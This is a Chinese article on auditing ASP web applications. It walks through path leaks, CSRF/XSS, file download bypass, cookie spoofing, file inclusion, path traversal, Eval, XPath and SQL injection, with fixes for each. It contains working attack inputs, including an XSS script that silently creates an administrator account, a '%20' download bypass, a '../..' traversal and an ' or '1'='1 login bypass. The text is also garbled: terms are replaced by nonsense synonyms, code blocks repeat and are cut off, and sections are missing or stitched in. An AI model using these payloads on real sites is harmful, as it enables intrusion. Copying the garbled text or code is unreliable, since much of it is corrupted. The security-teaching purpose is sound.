0×01 ASP簡介:
ASP是一種辦事器端腳本編寫環(huán)境,可以用來成立和運步履態(tài)網(wǎng)頁或Web利用法度。ASP網(wǎng)頁可以包含HTML標(biāo)識表記標(biāo)幟、通俗文本、腳本號令和COM組件等。操縱ASP可以向網(wǎng)頁中添加交互式內(nèi)容(如在線表單),也能夠成立利用HTML網(wǎng)頁作為用戶界面的web利用法度。
0×02 ASP縫隙介紹:
一.數(shù)據(jù)庫路徑泄漏 (DataBase Path Leak)
概述:數(shù)據(jù)庫路徑泄漏首要表示在ASP+Access搭建的WEB中,當(dāng)報復(fù)打擊者提交%5c的時辰,IIS會解析弊端,導(dǎo)致輸出了真實數(shù)據(jù)庫路徑, %5c是\的十六進(jìn)制代碼,也就是\的另外一種暗示編制。
縫隙道理:我們在提交數(shù)據(jù)的時辰,IE會主動把%5c轉(zhuǎn)換成/,從而獲得統(tǒng)一地址。在asp類型網(wǎng)站中,城市用到一個數(shù)據(jù)庫連接的文件,名字通常為conn.asp。
縫隙代碼:這里我用動力文章系統(tǒng)做案例,代碼以下:
<%
dim conn
dim connstr
dim db
db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb" '數(shù)據(jù)庫文件的位置
Set conn = Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
conn.Open connstr
%> dim conn
dim connstr
dim db
db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb" '數(shù)據(jù)庫文件的位置
Set conn = Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
conn.Open connstr
%> dim conn
dim connstr
dim db
db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb" '數(shù)據(jù)庫文件的位置
Set conn = Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
conn.Open connstr
%>
縫隙操縱:當(dāng)拜候http://www.aspmps.com/cn%5cconn.asp IIS就會報錯將數(shù)據(jù)庫盡對路徑輸出到客戶端,以下圖所示
當(dāng)數(shù)據(jù)庫路徑被泄漏,報復(fù)打擊者便可以將數(shù)據(jù)庫下載到本地,找到表中的后臺治理員賬戶和暗碼,如許便可以輕松進(jìn)進(jìn)網(wǎng)站的后臺治理,此縫隙只針對ACCESS數(shù)據(jù)庫,SQL server數(shù)據(jù)庫不受影響。 動力系統(tǒng)的暴庫標(biāo)題問題已久,往年360公司為此發(fā)布一則通知布告,多家媒體都有轉(zhuǎn)載 鏈接地址:http://tech.163.com/digi/12/0312/15/7SDHI0LJ00163HE0.html。
縫隙修復(fù):修補(bǔ)此縫隙的編制有2種,第一種在conn.open connstr 代碼之前加進(jìn) On Error Resume Next ,第二種編制在IIS辦事器建設(shè)選項當(dāng)選擇“向客戶端發(fā)送以下文本弊端動靜”。以下圖2

![]()
Web源碼安然審計之ASP篇(2) - 51CTO.COM
三.跨站要求捏造報復(fù)打擊(Cross Site Request Forgery)
概述:CSRF是Cross Site Request Forgery的縮寫,直譯過來就是跨站要求捏造的意思,凡是常利用來指 WEB 網(wǎng)站的這一類縫隙,即在某個歹意站點的頁面上,促使拜候者要求你的網(wǎng)站的某個 URL ,從而達(dá)到改變辦事器端數(shù)據(jù)的目標(biāo)。
縫隙道理:連絡(luò)跨站縫隙,操縱JS腳本代碼,做治理員身份才能做的事,但這類動作非治理員本身的要求。
縫隙代碼:此系統(tǒng)中有個安然過濾函數(shù)HTMLEncode,代碼以下:
Public Function HTMLEncode(str)
If Not IsNull(str) Then
str = Replace(str, Chr(38), "&")
str = Replace(str, "<", "<")
str = Replace(str, ">", ">")
str = Replace(str, Chr(9), " ")
str = Replace(str, Chr(32), " ")
str = Replace(str, Chr(34), """)
str = Replace(str, Chr(39), "'")
str = Replace(str, Chr(13) & Chr(10), "
")
str = Replace(str, Chr(10), "
")
str = Replace(str, Chr(13), "
")
HTMLEncode = str
End If
End Function
//以下是縫隙關(guān)頭點
Content = ""
For i = 1 To Request.Form("Content").Count
Content = Content & Request.Form("Content")(i)
Next
………… //省略部門代碼
rs("Guest_ZIP")=HTMLEncode(Guest_ZIP)
rs("Guest_TEL")=HTMLEncode(Guest_TEL)
rs("Guest_FAX")=HTMLEncode(Guest_FAX)
rs("Content")=Content
rs.Update
上述代碼中Content變量顛末Request.Form獲得后并沒有像Guest_FAX變量如許顛末HTMLEncode過濾。
縫隙操縱:操縱編制如圖所示

Xss.js腳本感化是履行添加一個新的治理員topsec。代碼以下:
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i try { request = new ActiveXObject(versions[i]); } catch(e) {} } } xmlhttp=request; add_admin(); function add_admin(){ var url="/admin/SysAdmin_Add.asp?Action=SysAdmin_Add"; var params ="SiteControl_LoginName=topsec&SiteControl_LoginPass=123456&SiteControl_RealName=topsec&imageField.x=24&imageField.y=8"; xmlhttp.open("POST", url, true); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.setRequestHeader("Content-length", params.length); xmlhttp.setRequestHeader("Connection", "close"); xmlhttp.send(params); } 植進(jìn)如圖所示的一段代碼后,當(dāng)治理員進(jìn)進(jìn)后臺往查看此留言的時辰就會觸發(fā)該縫隙,系統(tǒng)會主動給我們加上賬戶為topsec,暗碼為123456的治理員。 縫隙修復(fù):加進(jìn)token認(rèn)證,修復(fù)前臺跨站縫隙。 四.肆意文件下載(Arbitrary File Download) 概述:假定系統(tǒng)存在stream流模式下載模塊,而對應(yīng)下載文件的地址沒有做過安然過濾措置,則會產(chǎn)生任何文件都可被下載的安然隱患,在windows平臺下此標(biāo)題問題加倍嚴(yán)重。 縫隙道理:Windows系統(tǒng)撐持“.asp+空格”和“.asp+.”劃一于“.asp”文件,假定存鄙人載模塊未加驗證,則可以下載肆意文件。 縫隙代碼:下面以沸騰展看系統(tǒng)經(jīng)典下載縫隙源碼做介紹。關(guān)頭源碼以下: <% Dim Stream Dim Contents Dim FileName Dim TrueFileName Dim FileExt Dim SavePath Const adTypeBinary = 1 FileName = Request.QueryString("FileName") If FileName = "" Then Response.Write "無效文件名!" Response.End End if FileExt = Mid(FileName, InStrRev(FileName, ".") + 1) Select Case UCase(FileExt) Case "ASP", "ASA", "ASPX", "ASAX", "MDB" Response.Write "不法把持!" Response.End End Select Response.Clear if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then Response.ContentType = "image/*" '對圖象文件不呈現(xiàn)下載對話框 else Response.ContentType = "application/ms-download" end if Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName")) Set Stream = server.CreateObject("ADODB.Stream") Stream.Type = adTypeBinary Stream.Open SavePath = FileUploadPath '存放上傳文件的目次 TrueFileName = SavePath & FileName Stream.LoadFromFile Server.MapPath(TrueFileName) While Not Stream.EOS Response.BinaryWrite Stream.Read(1024 * 64) Wend Stream.Close Set Stream = Nothing Response.Flush Response.End %> Dim Stream Dim Contents Dim FileName Dim TrueFileName Dim FileExt Dim SavePath Const adTypeBinary = 1 FileName = Request.QueryString("FileName") If FileName = "" Then Response.Write "無效文件名!" Response.End End if FileExt = Mid(FileName, InStrRev(FileName, ".") + 1) Select Case UCase(FileExt) Case "ASP", "ASA", "ASPX", "ASAX", "MDB" Response.Write "不法把持!" Response.End End Select Response.Clear if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then Response.ContentType = "image/*" '對圖象文件不呈現(xiàn)下載對話框 else Response.ContentType = "application/ms-download" end if Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName")) Set Stream = server.CreateObject("ADODB.Stream") Stream.Type = adTypeBinary Stream.Open SavePath = FileUploadPath '存放上傳文件的目次 TrueFileName = SavePath & FileName Stream.LoadFromFile Server.MapPath(TrueFileName) While Not Stream.EOS Response.BinaryWrite Stream.Read(1024 * 64) Wend Stream.Close Set Stream = Nothing Response.Flush Response.End %> Dim Stream Dim Contents Dim FileName Dim TrueFileName Dim FileExt Dim SavePath Const adTypeBinary = 1 FileName = Request.QueryString("FileName") If FileName = "" Then Response.Write "無效文件名!" Response.End End if FileExt = Mid(FileName, InStrRev(FileName, ".") + 1) Select Case UCase(FileExt) Case "ASP", "ASA", "ASPX", "ASAX", "MDB" Response.Write "不法把持!" Response.End End Select Response.Clear if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then Response.ContentType = "image/*" '對圖象文件不呈現(xiàn)下載對話框 else Response.ContentType = "application/ms-download" end if Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName")) Set Stream = server.CreateObject("ADODB.Stream") Stream.Type = adTypeBinary Stream.Open SavePath = FileUploadPath '存放上傳文件的目次 TrueFileName = SavePath & FileName Stream.LoadFromFile Server.MapPath(TrueFileName) While Not Stream.EOS Response.BinaryWrite Stream.Read(1024 * 64) Wend Stream.Close Set Stream = Nothing Response.Flush Response.End %> 上述代碼粗體部門是縫隙構(gòu)成的關(guān)頭代碼,起首法度經(jīng)由過程 Request.QueryString(“FileName”) 編制指定肆意文件名,當(dāng)然法度鄙人面鑒定了文件后綴名,可是并沒有對后綴名進(jìn)行安然措置,導(dǎo)致客戶端可以在后綴名以后加上空格的URL編碼從而繞過法度的驗證,文件被下載。 縫隙操縱:操縱編制以下圖 如圖上所示當(dāng)報復(fù)打擊者在瀏覽器的地址欄中輸進(jìn)“down.asp?filename=./cn/index.asp%20”, %20就是顛末URL編碼后的空格,%2E就是顛末URL編碼后的“.”,提交后迅雷就會提示下載。 縫隙修復(fù):修補(bǔ)的編制也很簡單,下載文件前最好帶進(jìn)數(shù)據(jù)庫查詢,存在則下載。還有種編制,用正則表達(dá)式往限制。 Web源碼安然審計之ASP篇(5) - 51CTO.COM 六.Cookies棍騙(Cookies Spoofing) 概述:在只對用戶做Cookies驗證的系統(tǒng)中,經(jīng)由過程點竄Cookies的內(nèi)容來獲得響應(yīng)的用戶權(quán)限登錄。Cookies棍騙在進(jìn)侵中經(jīng)常常利用到,經(jīng)由過程點竄Cookies的內(nèi)容來獲得響應(yīng)的用戶權(quán)限登錄,從而達(dá)到報復(fù)打擊的目標(biāo)。 縫隙道理:到底甚么是Cookies,它有甚么感化呢?Cookies是一種可以或許讓網(wǎng)站辦事器把少量數(shù)據(jù)儲存到客戶端的硬盤或內(nèi)存,或是從客戶端的硬盤讀取數(shù)據(jù)的一種手藝。Cookies是當(dāng)你瀏覽某網(wǎng)站時,由Web辦事器置于你硬盤上的一個很是小的文本文件,它可以記實你的用戶ID、暗碼、瀏覽過的網(wǎng)頁、逗留的時候等信息。 縫隙代碼:接下來仍是以自由動力文章系統(tǒng)做案例,拜候后臺文件UploadSoft.asp必需經(jīng)由過程授權(quán)驗證,此法度經(jīng)由過程Cookies驗證造成了安然隱患。沒設(shè)置Cookies之前如圖所示 關(guān)頭代碼以下: <% if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then response.Write("請登錄后再利用本功能!") else select case upload_type case 0 call upload_0() '利用化境無組件上傳類 case else response.write "本系統(tǒng)未開放插件功能" response.end end select end if %> if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then response.Write("請登錄后再利用本功能!") else select case upload_type case 0 call upload_0() '利用化境無組件上傳類 case else response.write "本系統(tǒng)未開放插件功能" response.end end select end if %> if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then response.Write("請登錄后再利用本功能!") else select case upload_type case 0 call upload_0() '利用化境無組件上傳類 case else response.write "本系統(tǒng)未開放插件功能" response.end end select end if %> 代碼中IF語句鑒定有標(biāo)題問題,假定Session和Cookies值都為空則不克不及繼續(xù)履行,不然可以調(diào)用上傳函數(shù)upload_0()。 那報復(fù)打擊者只需要做到知足Cookies值不為空便可以調(diào)用上傳函數(shù)了,這個上傳函數(shù)在上一節(jié)已提到過存在變量繼續(xù)上傳縫隙,這兩個縫隙連續(xù)絡(luò)風(fēng)險就很大年夜了。 縫隙操縱:用火狐插件點竄成asp163=UserName=asp設(shè)置Cookies后以下圖所示 如許就繞過了Cookies的驗證,造成可以上傳文件,為后來變量繼續(xù)縫隙的成功實現(xiàn)創(chuàng)作發(fā)現(xiàn)了前提。 縫隙修復(fù):可以加密Cookies,后臺關(guān)頭文件最好用Session往驗證。 七.本地文件包含(Local File Inclusion) 概述:ASP Execute編制的感化是履行一個來自于其他ASP文件內(nèi)部的ASP法度。 縫隙道理:當(dāng)其他ASP文件內(nèi)的法度被要求履行終了以后,節(jié)制器將返回最初發(fā)出要求的原始ASP文件。與PHP包含縫隙不合的是Execute編制只能包含本地文件。 縫隙代碼: <%Server.Execute(Request.QueryString("file"))%> equest編制獲得的參數(shù)file沒顛末安然措置,被Execute編制履行了。 縫隙操縱:若某個利用法度不存在上傳縫隙,那么報復(fù)打擊者可以上傳個正常圖片格局的文件,文件中包換ASP腳本代碼,這時候辰便可以用本地包含縫隙往履行圖片中的ASP代碼。以下圖所示 假定jpg里寫進(jìn)的ASP小馬,那便可以輕松獲得一個WebShell。 縫隙修復(fù):盡可能系統(tǒng)指定履行文件,不要讓客戶端提交參數(shù),其實需要動態(tài)改變參數(shù),可以輔助一個匹配文件,若客戶端提交的參數(shù)在文件中呈現(xiàn),則可以履行,不然不承諾繼續(xù)履行。 八.路徑操控(Path Manipulation) 概述:用戶輸進(jìn)節(jié)制 file system 把持所用的路徑,借此報復(fù)打擊者可以拜候或點竄其他受呵護(hù)的系統(tǒng)資本。 縫隙道理:當(dāng)知足以下兩個前提時,就會產(chǎn)生path manipulation 弊端: 1. 報復(fù)打擊者可以或許指定某一 file system把持中所利用的路徑。 2. 報復(fù)打擊者可以經(jīng)由過程指定特定資本來獲得某種權(quán)限,而這類權(quán)限在一般環(huán)境下是不成能獲得的。 縫隙代碼:下面以經(jīng)典的Ewebeditor編纂器做闡發(fā),在編纂器文件治理處存在一個路徑操控縫隙,報復(fù)打擊者可以指定路徑的讀取范圍,造成安然隱患。 <% Function InitParam() sStyleID = Trim(Request("id")) sUploadDir = "" If IsNumeric(sStyleID) = True Then sSql = "select S_UploadDir from eWebEditor_Style where S_ID=" & sStyleID oRs.Open sSql, oConn, 0, 1 If Not oRs.Eof Then sUploadDir = oRs(0) End If oRs.Close End If If sUploadDir = "" Then sStyleID = "" Else sUploadDir = Replace(sUploadDir, "\", "/") If Right(sUploadDir, 1) < Function InitParam() sStyleID = Trim(Request("id")) sUploadDir = "" If IsNumeric(sStyleID) = True Then sSql = "select S_UploadDir from eWebEditor_Style where S_ID=" & sStyleID oRs.Open sSql, oConn, 0, 1 If Not oRs.Eof Then sUploadDir = oRs(0) End If oRs.Close End If If sUploadDir = "" Then sStyleID = "" Else sUploadDir = Replace(sUploadDir, "\", "/") If Right(sUploadDir, 1) < Function InitParam() sStyleID = Trim(Request("id")) sUploadDir = "" If IsNumeric(sStyleID) = True Then sSql = "select S_UploadDir from eWebEditor_Style where S_ID=" & sStyleID oRs.Open sSql, oConn, 0, 1 If Not oRs.Eof Then sUploadDir = oRs(0) End If oRs.Close End If If sUploadDir = "" Then sStyleID = "" Else sUploadDir = Replace(sUploadDir, "\", "/") If Right(sUploadDir, 1) <> "/" Then sUploadDir = sUploadDir & "/" End If End If sCurrDir = sUploadDir ' 樣式下的目次 sDir = Trim(Request("dir")) If sDir <> "" Then If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then sCurrDir = sUploadDir & sDir & "/" Else sDir = "" End If End If End Function %> 若報復(fù)打擊者想操縱此縫隙需要知足2個前提,第一sStyleID這個值不克不及為空,并且是數(shù)據(jù)庫中存在的ID號。第二 sDir 這個變量沒有顛末任何安然措置,帶進(jìn)到 sCurrDir 變量中,只是最后不需要輸進(jìn)“/”。 縫隙操縱:admin_uploadfile.asp?id=22&dir=../.. 履行后將跳轉(zhuǎn)到2個上級目次下,報復(fù)打擊者可以刪除肆意文件和文件夾。以下圖所示 縫隙修復(fù):針對此縫隙建議用Replace函數(shù)過濾掉落“..” 。 九.表單提交棍騙(Spoofed Form Submit) 概述:表單提交是當(dāng)前Web利用中的首要內(nèi)容,用戶可以經(jīng)由過程這類編制與辦事器進(jìn)行數(shù)據(jù)傳遞。在凡是環(huán)境下,會在提交表單之前在辦事器長進(jìn)行表單數(shù)據(jù)的驗證,如許可以節(jié)流辦事器資本,但同時也為辦事器帶來了安然縫隙。 縫隙道理:顧名思義Web法度只是在客戶端用JavaScript驗證了合法性,并沒有在辦事端驗證數(shù)據(jù)的合法性。 縫隙代碼:下面以上傳頁面做為案例闡發(fā) 縫隙操縱:報復(fù)打擊者只需要禁用瀏覽器中的勾當(dāng)腳本和Javascript腳本便可以策動一次報復(fù)打擊。禁用以下圖所示: 第二種編制建造個HTML頁面,只需將JS腳本刪除,再將Action值改成需要報復(fù)打擊的方針網(wǎng)址便可。 縫隙修復(fù):客戶端和辦事端都要做驗證,客戶端做驗證能進(jìn)步用戶體驗,辦事端再驗證能包管數(shù)據(jù)安然。 十.Http要求捏造(Spoofed HTTP Request) 概述:一個比棍騙表單更高級和復(fù)雜的報復(fù)打擊編制是HTTP要求棍騙。這給了報復(fù)打擊者完全的節(jié)制權(quán)與矯捷性,它進(jìn)一步證實了不克不及盲目信賴用戶提交的任何數(shù)據(jù)。看到大年夜大都瀏覽器會包含一個來歷的URL值,你可能會試牟利用Request.ServerVariables(“HTTP_REFERER”)變量往避免棍騙。確切,這可以用于對操縱尺度瀏覽器倡議的報復(fù)打擊,但報復(fù)打擊者是不會被這個小麻煩給蓋住的。經(jīng)由過程編纂HTTP要求的原始信息,報復(fù)打擊者可以完全節(jié)制HTTP頭部的值,GET和POST的數(shù)據(jù),和所有在HTTP要求的內(nèi)容。 縫隙道理:經(jīng)由過程Request.ServerVariables 往驗證數(shù)據(jù)來歷的合法性,還是不成靠,事實一切從Request獲得的值都可以被捏造出來的。 縫隙代碼:下面以ASP中經(jīng)典驗證來歷的代碼做闡發(fā) <% Dim From_url , Serv_url From_url = Cstr(Request.ServerVariables("HTTP_REFERER")) Serv_url = Cstr(Request.ServerVariables("SERVER_NAME")) If Mid(From_url,8,Len(Serv_url)) < Dim From_url , Serv_url From_url = Cstr(Request.ServerVariables("HTTP_REFERER")) Serv_url = Cstr(Request.ServerVariables("SERVER_NAME")) If Mid(From_url,8,Len(Serv_url)) < Dim From_url , Serv_url From_url = Cstr(Request.ServerVariables("HTTP_REFERER")) Serv_url = Cstr(Request.ServerVariables("SERVER_NAME")) If Mid(From_url,8,Len(Serv_url)) <> Serv_url then Response.Write "不法鏈接!" Response.End End if %> 上述代碼中2個鑒定的值均來自客戶端環(huán)境變量,鑒定思路是方針地址和來歷地址的域名是不是一致,不一致則覺得是不法拜候,這段代碼常常利用于防盜鏈模塊中。 縫隙操縱:用法HTTP代辦署理軟件機(jī)關(guān)一個特定的數(shù)據(jù)包,在HTTP頭加上Referer 。以下圖所示 縫隙修復(fù):驗證數(shù)據(jù)來歷的真實性仍是應(yīng)當(dāng)放在辦事端,Request變量獲得的值都是不成靠的。 十一.代碼注進(jìn)(Code Injection) 概述:良多現(xiàn)代編程說話都承諾動態(tài)解析源代碼指令。 假定法度員需要由用戶供給的指令對數(shù)據(jù)把持,這類環(huán)境下可以利用這類功能。當(dāng)然,我們更愿意操縱底層說話機(jī)關(guān),而不是經(jīng)由過程履行代碼來解析用戶輸進(jìn)。 由用戶供給的指令預(yù)期履行一些無害的把持,例如,對當(dāng)前的用戶對象進(jìn)行簡單計較或點竄用戶對象的狀況,等等。但是,假定法度員不敷細(xì)心,用戶指定的把持范圍可能會超出法度員最初的假想。 縫隙道理:ASP利用法度中若存在Eval ,Execute ,ExecuteGlobal 函數(shù)利用時,要非分出格寄望它們的利用環(huán)境,若從外部獲得參數(shù),沒有顛末安然措置 就會造成安然隱患。Eval() 計較表達(dá)式的值,并且返回一個成果,Execute() 履行一個或多個指定的語句。多個語句間用冒號(:)隔開 ,ExecuteGlobal() 在全局名字空間中履行一個或多個指定的語句。 縫隙代碼: <%=Eval(Request("parma"))%> 上述代碼用戶提交parma的編制有GET,POST,COOKIE三種,報復(fù)打擊者可以精心計表情關(guān)出ASP的小馬提交便可以履行,安然隱患相昔時夜,在源碼審計的過程中要額外寄望它們的利用。 縫隙操縱: 若報復(fù)打擊者給parma參數(shù)值便是VB里的Now()函數(shù),就會把當(dāng)前的時候輸出出來,這里代碼用Eval函數(shù)履行的,若是Execute 和 ExecuteGlobal函數(shù)則不會輸出到網(wǎng)頁中。 縫隙修復(fù):謹(jǐn)嚴(yán)利用此三個函數(shù),若需要動態(tài)履行,則只讓用戶輸進(jìn)和本地文件中匹配的字符,若不匹配則不成以履行。 十二.XML中的XPATH注進(jìn)(Xpath Injection) 概述:Xml文檔存儲數(shù)據(jù)時,若查詢數(shù)據(jù)不顛末安然過濾也會和關(guān)系型數(shù)據(jù)庫一樣,產(chǎn)生注進(jìn)縫隙,在這里我們總結(jié)成XPATH注進(jìn)縫隙,在這里它更像是ACCESS數(shù)據(jù)庫。 縫隙道理: 猶如Access數(shù)據(jù)庫一樣,XML文檔只是保留數(shù)據(jù)用的,若法度對用戶提交的數(shù)據(jù)沒有顛末安然措置,則會導(dǎo)致安然標(biāo)題問題,在這里最多見的莫過于經(jīng)典的全能暗碼。 縫隙代碼: <% function SelectXmlNodeText(elementname,elementpass) On Error Resume Next elementname="http://"&"root/row[name='"&elementname&"' and password='"&elementpass&"']" temp = XMLMorntekDocument.selectSingleNode(elementname).text If temp < function SelectXmlNodeText(elementname,elementpass) On Error Resume Next elementname="http://"&"root/row[name='"&elementname&"' and password='"&elementpass&"']" temp = XMLMorntekDocument.selectSingleNode(elementname).text If temp < function SelectXmlNodeText(elementname,elementpass) On Error Resume Next elementname="http://"&"root/row[name='"&elementname&"' and password='"&elementpass&"']" temp = XMLMorntekDocument.selectSingleNode(elementname).text If temp <> "" Then Session("UserName") = "asp163" Response.Write("Welcome , Sysadmin") Else Response.Redirect("/admin/Login.asp") end if end function ConnectXml("../admin.xml") Call SelectXmlNodeText(Request("name"),Request("pass")) %> 上述代碼實現(xiàn)的是一個后臺治理驗證的功能,admin.xml文件位于站點根目次以外,沒法用Http編制下載。法度對Request對象獲得來的數(shù)據(jù)沒有顛末安然過濾,導(dǎo)致了經(jīng)典全能暗碼繞過縫隙。 縫隙操縱: 報復(fù)打擊者提交Name和Pass都是“’or ’1′=’1”時辰,XML查詢節(jié)點就變成 “//root/row[name=''or '1'='1' and password=''or '1'='1']” OR語句 闡揚了重大年夜感化,只要一個前提為真便可以知足繞過的前提。 縫隙修復(fù):和SQL打針一樣,需要對客戶端提交過來的數(shù)據(jù)進(jìn)行過濾,在本案例中可以過濾掉落單引號便可。 數(shù)據(jù)庫路徑泄漏首要表示在ASP+Access搭建的WEB中,當(dāng)報復(fù)打擊者提交%5c的時辰,IIS會解析弊端,導(dǎo)致輸出了真實數(shù)據(jù)庫路徑, %5c是\的十六進(jìn)制代碼,也就是\的另外一種暗示編制。 AD: 十三.SQL打針(SQL Injection) 概述:今朝沒有對SQL注進(jìn)手藝的尺度定義,微軟中國手藝中間從2個方面進(jìn)行了描述: (1) 腳本注進(jìn)式的報復(fù)打擊 (2) 歹意用戶輸進(jìn)用來影響被履行的SQL腳本 SQL注進(jìn)報復(fù)打擊操縱的是SQL語法,這使得這類報復(fù)打擊具有遍及性。理論上說,對所有基于SQL說話尺度的數(shù)據(jù)庫軟件包含SQL Server,Oracle,MySQL, ACCESS,DB2,Informix等和與之連接的收集利用法度包含Active/Java Server Pages, PHP或Perl等都是有效的。當(dāng)然各類軟件有本身的特點,實際的報復(fù)打擊代碼可能不盡不異。 縫隙道理: 經(jīng)由過程客戶端發(fā)送SQL語句,可以查詢,更新,刪除 數(shù)據(jù)庫中的數(shù)據(jù),此縫隙是ASP下最為風(fēng)行的縫隙。報復(fù)打擊者可以經(jīng)由過程GET,POST,COOKIE,SERVER提交肆意數(shù)據(jù),若數(shù)據(jù)庫是SQL Server數(shù)據(jù)庫,則縫隙風(fēng)險性更大年夜。 縫隙代碼: <% Set rs = Server.CreateObject("ADODB.RecordSet") sqlString="SELECT * FROM News WHERE Id=" & Request.QueryString("id") rs.Open sqlString, Conn, 1, 1 %> Set rs = Server.CreateObject("ADODB.RecordSet") sqlString="SELECT * FROM News WHERE Id=" & Request.QueryString("id") rs.Open sqlString, Conn, 1, 1 %> Set rs = Server.CreateObject("ADODB.RecordSet") sqlString="SELECT * FROM News WHERE Id=" & Request.QueryString("id") rs.Open sqlString, Conn, 1, 1 %> 縫隙操縱: 縫隙修復(fù):對獲得的數(shù)字型變量用Clng函數(shù)轉(zhuǎn)換,對字符型用Replace函數(shù)過濾單引號。 0×03 總結(jié): ASP顛末這么多年還能聳峙不倒,除本身易學(xué)易用性以外,還有搭配的ACCESS數(shù)據(jù)庫便利移植的特點,讓良多法度員在選擇為中小網(wǎng)站做開辟的時辰首選ASP。掌控這些ASP縫隙對開辟者來講是相當(dāng)有需要的,只有如許才能寫出更強(qiáng)大年夜安然的利用法度,才能促進(jìn)全部互聯(lián)網(wǎng)的安然與開放。
![]()



